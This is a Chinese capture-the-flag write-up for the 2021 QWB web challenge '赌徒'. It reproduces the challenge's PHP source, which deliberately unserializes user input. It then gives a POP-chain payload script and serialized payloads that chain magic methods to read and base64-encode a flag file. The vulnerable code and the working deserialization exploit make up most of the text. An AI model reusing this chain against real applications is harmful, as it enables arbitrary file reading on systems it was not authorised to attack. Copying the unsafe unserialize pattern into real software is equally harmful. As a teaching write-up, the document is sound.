2021qwb [强网先锋]赌徒 Writeup + 环境复现

2021 qwb [强网先锋]赌徒 Writeup + 环境复现(win10)

1、本地环境复现(win10+phpStudy2018)

将比赛文件复制到phpStudy的\phpStudy\PHPTutorial\WWW 网站运行目录下;

比赛文件index.php,源码就在此文件中,www.zip 文件为index.php的打包,其他文件夹自建,主要为了还原最真实的比赛环境。

2、Writeup 开始解题

打开题目链接,发现就一句话,如下:

I think you need /etc/hint . Before this you need to see the source code

看看页面源代码,看了看请求和响应,发现一个小细节:

服务器的环境出来了 Apache/2.4.18(Ubuntu) ==>此为当时比赛中真实截图

基于此情况,对该链接进行"目录扫描"操作

一个www.zip 的备份文件(对照本地环境复现看),下载下来后里面有一个index.php的源码文件,源码如下:

复制代码
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);

class Start

{

public $name='guest';

public $flag='syst3m("cat 127.0.0.1/etc/hint");';

复制代码
	public function __construct(){
		echo "I think you need /etc/hint . Before this you need to see the source code";
	}

	public function _sayhello(){
		echo $this->name;
		return 'ok';
	}

	public function __wakeup(){
		echo "hi";
		$this->_sayhello();
	}
	public function __get($cc){
		echo "give you flag : ".$this->flag;
		return ;
	}
}

class Info
{
	private $phonenumber=123123;
	public $promise='I do';

	public function __construct(){
		$this->promise='I will not !!!!';
		return $this->promise;
	}

	public function __toString(){
		return $this->file['filename']->ffiillee['ffiilleennaammee'];
	}
}

class Room
{
	public $filename='/flag';
	public $sth_to_set;
	public $a='';

	public function __get($name){
		$function = $this->a;
		return $function();
	}

	public function Get_hint($file){
		$hint=base64_encode(file_get_contents($file));
		echo $hint;
		return ;
	}

	public function __invoke(){
		$content = $this->Get_hint($this->filename);
		echo $content;
	}
}

if(isset($_GET['hello'])){
	unserialize($_GET['hello']);
}else{
	$hi = new  Start();
}

?>

从代码中分析可以看出,给"hello"传参,然后进行序列化攻击。

现在问题来了,代码中一共有3个类,我们需要从哪一个类开始下手呢?

通过对魔术方法和序列化的的学习,我们只能从Start这个类开始下手,当对这个该类进行反序列化时,会自动执行wakeup()方法,而这3个类中只有Start类存在这个方法。

再继续观察发现,我们最终需要达到的目的地是Room类的Get_hint()方法。

构造payload:

复制代码
<?php
include "index.php";
$a = new Start();			// __wakeup()进入,
$a->name = new Info();		// Info的__toString()进入
$a->name->file["filename"] = new Room();	// Room的__get()进入
$a->name->file["filename"]->a= new Room();	// Room的__invoke()进入
echo "<br>";
echo serialize($a);
?>

在我们本地搭建的环境中运行payload.php

序列化得到payload(false):

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"Infophonenumber";i:123123;s:7:"promise";s:15:"I will not !!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

由于我们本地win10环境,flag文件放在C盘根目录下,名为flag。

故再次序列化payload(true)变更为:

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:7:"c:/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:7:"c:/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

注意:Infophonenumber,要用%00截断,因为phonenumber为类Info中的变量,这样才能符合序列化语句的构造。不然反序列化结果会有问题,什么都没有一片空白(亲测)!

最后,利用了魔术方法的特性成功进行了序列化攻击,实现了在一个类跳转到另一个类并执行方法!

ZmxhZ3s0NTZiNzg5LWE0YWUtMTg1My1hMWIyLXExdzJlM3I0dDV9

注意:hi 是之前Start类中输出的内容!

得到base64编码后的字符串进行解码:

最终得到了flag并与flag文件中的内容进行比对。

复制代码
flag{456b789-a4ae-1853-a1b2-q1w2e3r4t5}

以上就是本文的全部内容,希望对大家的学习有所帮助

相关推荐
shdwak....sad2 小时前
CVE-2025-41253复现
安全
AI_Auto4 小时前
智能制造- 安全标准(三)
安全·制造
SPIRT005 小时前
信息收集系列一
安全
AI_Auto6 小时前
智能制造- 安全标准(二)
安全·制造
老赵聊算法、大模型备案6 小时前
《人工智能拟人化互动服务管理暂行办法(征求意见稿)》深度解读:AI“拟人”时代迎来首个专项监管框架
人工智能·算法·安全·aigc
qq_谁赞成_谁反对7 小时前
klist.exe命令行工具,用来管理 Kerberos 身份验证系统
网络安全·内网安全·iam
深盾安全7 小时前
C++错误处理的现代化方式:深入理解std::error_code
安全
FreeBuf_8 小时前
“lc“键漏洞:LangChain高危缺陷(CVE-2025-68664)使提示注入攻击可窃取机密
安全·web安全·langchain
Ancelin安心8 小时前
Windows搭建和使用vulhub的一些常用命令
linux·运维·服务器·网络安全·docker·容器·vulhub
全知科技8 小时前
API安全国家标准发布丨《数据安全技术 数据接口安全风险监测方法》
大数据·人工智能·安全